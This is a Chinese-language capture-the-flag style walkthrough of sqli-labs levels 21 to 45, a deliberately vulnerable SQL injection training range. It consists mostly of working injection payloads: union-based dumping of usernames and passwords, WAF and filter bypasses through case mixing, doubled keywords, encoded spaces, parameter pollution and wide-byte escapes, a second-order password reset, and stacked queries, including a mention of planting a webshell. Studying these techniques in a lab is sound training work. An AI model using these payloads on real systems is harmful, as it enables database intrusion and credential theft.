sqli-labs靶场通关技巧（21-45）
Less21
基于’)的cookie报头注入
这里在cookie处加密了字符串，将我们的payload经过base64加密即可绕过
暴库payload：-admin') union select 1,2,database()#
爆表payload：-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
爆字段payload：-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
爆值payload：-admin') union select 1,2,group_concat(username,'-',password) from security.users#
Less22
基于”的cookie报头注入
暴库payload：-admin" union select 1,2,database()#
爆表payload：-admin" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
爆字段payload：-admin" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
爆值payload：-admin" union select 1,2,group_concat(username,'-',password) from security.users#
Less23
基于’的字符型注入（过滤注释符）
暴库payload：id=-1' union select 1,2,database()'
爆表payload：id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '
爆字段payload：id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' '
爆值payload：id=' union select 1,2,group_concat(username,'~',password) from users where 1 or '1' = '
Less24
二次注入
假设我们在知道账号为admin，但不知道密码的情况下，点击注册一个新用户
注册一个账号为admin’#密码为123456的账号
登录账号admin’#，并修改admin的密码为123456
然后就可以用账号admin，密码123456登录了。
原理：
登录admin'#账号修改密码时， 此时的Sql语句为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='，也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'。
Less25
基于’的字符型注入（过滤or和and）
注意：因为or字符被过滤了，所以infoorrmation、passwoorrd的or应该双写绕过。
暴库payload：id=-1' union select 1,2,database()--+
爆表payload：id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
爆字段payload：id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
爆值payload：id=-1' union select 1,2,group_concat(username,'~',passwoorrd) from security.users --+
Less25a
整数型注入（过滤or和and）
这关和上一关基本一样，不同之处在于这关是整数型注入
暴库payload：id=-1 union select 1,2,database()--+
爆表payload：id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
爆字段payload：id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
爆值payload：id=-1 union select 1,2,group_concat(username,'~',passwoorrd) from security.users --+
Less26
基于’的字符型注入（过滤空格、注释、or和and）
因为空格被过滤了，可以用%a0代替空格；注释符被过滤了，可以构造闭合绕过。
暴库payload：id=0'%a0union%a0select%a01,database(),'3
爆表payload：id=0'%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0'
爆字段payload：id=0'%a0union%a0select%a01,2,group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0'
爆值payload：id=0'%a0union%a0select%a01,2,group_concat(username,passwoorrd)%a0from%a0security.users%a0where%a01%a0oorr%a0'1' = '
Less26a
基于’)的字符型注入（过滤空格、注释、or和and）
因为空格被过滤了，可以用%a0或者%0b代替空格；注释符被过滤了，可以构造闭合绕过。
暴库payload：id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
爆表payload：id=0')%0bunion%0bselect%0b1,2,group_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'anandd('1')=('1
爆字段payload：id=0')%0bunion%0bselect%0b1,2,group_concat(column_name)%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'anandd('1')=('1
爆值payload：id=0')%a0union%a0select%a01,2,group_concat(username,passwoorrd)%a0from%a0security.users%a0where%a01%a0oorr%a0('1') =( '
可以代替空格的字符：
| %09 | TAB键（水平） |
| %0a | 新建一行 |
| %0c | 新的一页 |
| %0d | return功能 |
| %0b | TAB键（垂直） |
| %a0 | 空格 |
Less27
基于’的字符型注入（过滤空格、注释符、union和select）
大小写绕过关键字的过滤
暴库payload：id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
爆表payload：id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
爆字段payload：id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0'1'='1
爆值payload：id=0'%a0uniOn%a0sElEct%a01,(group_concat(username,password)),3%a0from%a0security.users%a0uniOn%a0seLect%a01,2,'3
Less27a
基于”的字符型注入（过滤空格、注释符、union和select）
大小写绕过关键字的过滤
暴库payload：id=0"%a0uniOn%a0sElEct%a01,database(),3%a0or%a0"1"="1
爆表payload：id=0"%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"="1
爆字段payload：id=0"%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0"1"="1
爆值payload：id=0"%a0uniOn%a0sElEct%a01,(group_concat(username,password)),3%a0from%a0security.users%a0uniOn%a0seLect%a01,2,"3
Less28
基于’)的字符型注入（过滤空格、注释符、union和select）
暴库payload：id=0')UNion%a0SElect%a01,database(),('1')=('1
爆表payload：id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1
爆字段payload：id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0('1')=('1
爆值payload：id=0')UNion%a0SElect%a01,(group_concat(username,password)),3%a0from%a0security.users%a0where%a0('1')=('1
Less28a
和less28一样，用相同的payload即可注入
搭建waf环境
因为less29-less32是绕waf，所以这里得先搭建好waf环境，我这里直接在Windows下面搭建了。
下载jspstudy: https://www.xp.cn/download.html
安装路径不要包含中文就行了。
为了不与之前安装好的phpstudy端口冲突，这里须更改站点端口为8080.
将sqli-labs-master中的tomcat-files压缩包解压到下面路径中。
打开下面路径中的index.jsp文件
将下面路径修改为php服务下的相对应关卡路径。
带上2个参数即可访问即可
服务器两层架构相关讲解：https://www.cnblogs.com/lcamry/p/5762961.html
Less29
基于’的字符型注入（waf保护）
这里的参数由于受waf保护，无法注入
利用参数污染注入，传入2个参数，第一个用来欺骗waf，第二个用于正常访问。
暴库payload：?id=1&id=-1' union select 1,2,database()--+
爆表payload：?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段payload：?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值payload：?id=1&id=-1' union select 1,2,group_concat(username,'-',password) from security.users--+
Less30
基于”的字符型注入（waf保护）
暴库payload：?id=1&id=-1" union select 1,2,database()--+
爆表payload：?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段payload：?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值payload：?id=1&id=-1" union select 1,2,group_concat(username,'-',password) from security.users--+
Less31
基于”)的字符型注入（waf保护）
暴库payload：?id=1&id=-1") union select 1,2,database()--+
爆表payload：?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段payload：?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值payload：?id=1&id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+
Less32
宽字节注入
因为单引号被转义了，'security'、'users'这两个地方的单引号自然也会被转义，这里可以将security、users进行十六进制编码。
暴库payload：id=-1%df' union select 1,2,database()--+
爆表payload：id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
爆字段payload：id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
爆值payload：id=-1%df' union select 1,2,group_concat(username,password) from security.users--+
Less33
和less32一样，用相同的payload即可注入
Less34
宽字节Post注入
利用burpsuite抓包、在uname处插入payload
暴库payload：a%df' union select 1,database()#
爆表payload：a%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#
爆字段payload：a%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
爆值payload：a%df' union select 1,group_concat(username,password) from security.users#
Less35
数字型注入
这里的单引号还是被转义了，'security'、'users'这两个地方还是要进行十六进制编码。
暴库payload：id=-1 union select 1,2,database()--+
爆表payload：id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
爆字段payload：id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
爆值payload：id=-1 union select 1,2,group_concat(username,password) from security.users--+
Less36
还是宽字节注入，用less32的payload即可注入
Less37
宽字节Post注入，注入方法以及payload和less32一样
Less38
堆叠注入
利用堆叠注入创建一个表
Payload：?id=1';create table duidie like users;--+
创建成功，说明能利用堆叠注入。此外可以利用堆叠注入写入一句话木马，然后用菜刀连接。
堆叠注入讲解：https://www.cnblogs.com/lcamry/p/5762905.html
Less39
数字型堆叠注入，和less38的区别就是少个单引号。
Payload：?id=1;create table duidie1 like users;--+
Less40
基于’)的字符型堆叠注入，和less38的区别就是少个单引号。
Payload：?id=1'); create table duidie2 like users;--+
Less41
和less39一样，只是少了错误回显信息，执行payload还是一样的。
Less42
还是堆叠注入，在密码输入框中注入。
Payload：a';create table duidie like users;#
Less43
基于’)的字符型堆叠注入，和less42的区别就是多了个括号。
Payload：a'); create table duidie like users;#
Less44
和less42一样，只是少了回显信息，执行payload还是一样的。
Less45
和less43一样，只是少了回显信息，执行payload还是一样的。
小结
Less21-22 cookie报头注入
Less24 二次注入
Less23、25-28a 关键字符被过滤，结合大小写绕过、双写绕过、字符替换、构造闭合、编码等方式注入。
Less29-31 waf保护，参数污染注入
Less32-37 宽字节注入
Less38-45 堆叠注入
参考链接
https://blog.csdn.net/weixin_45728976/article/details/103932264
https://blog.csdn.net/harrywade/article/details/81842491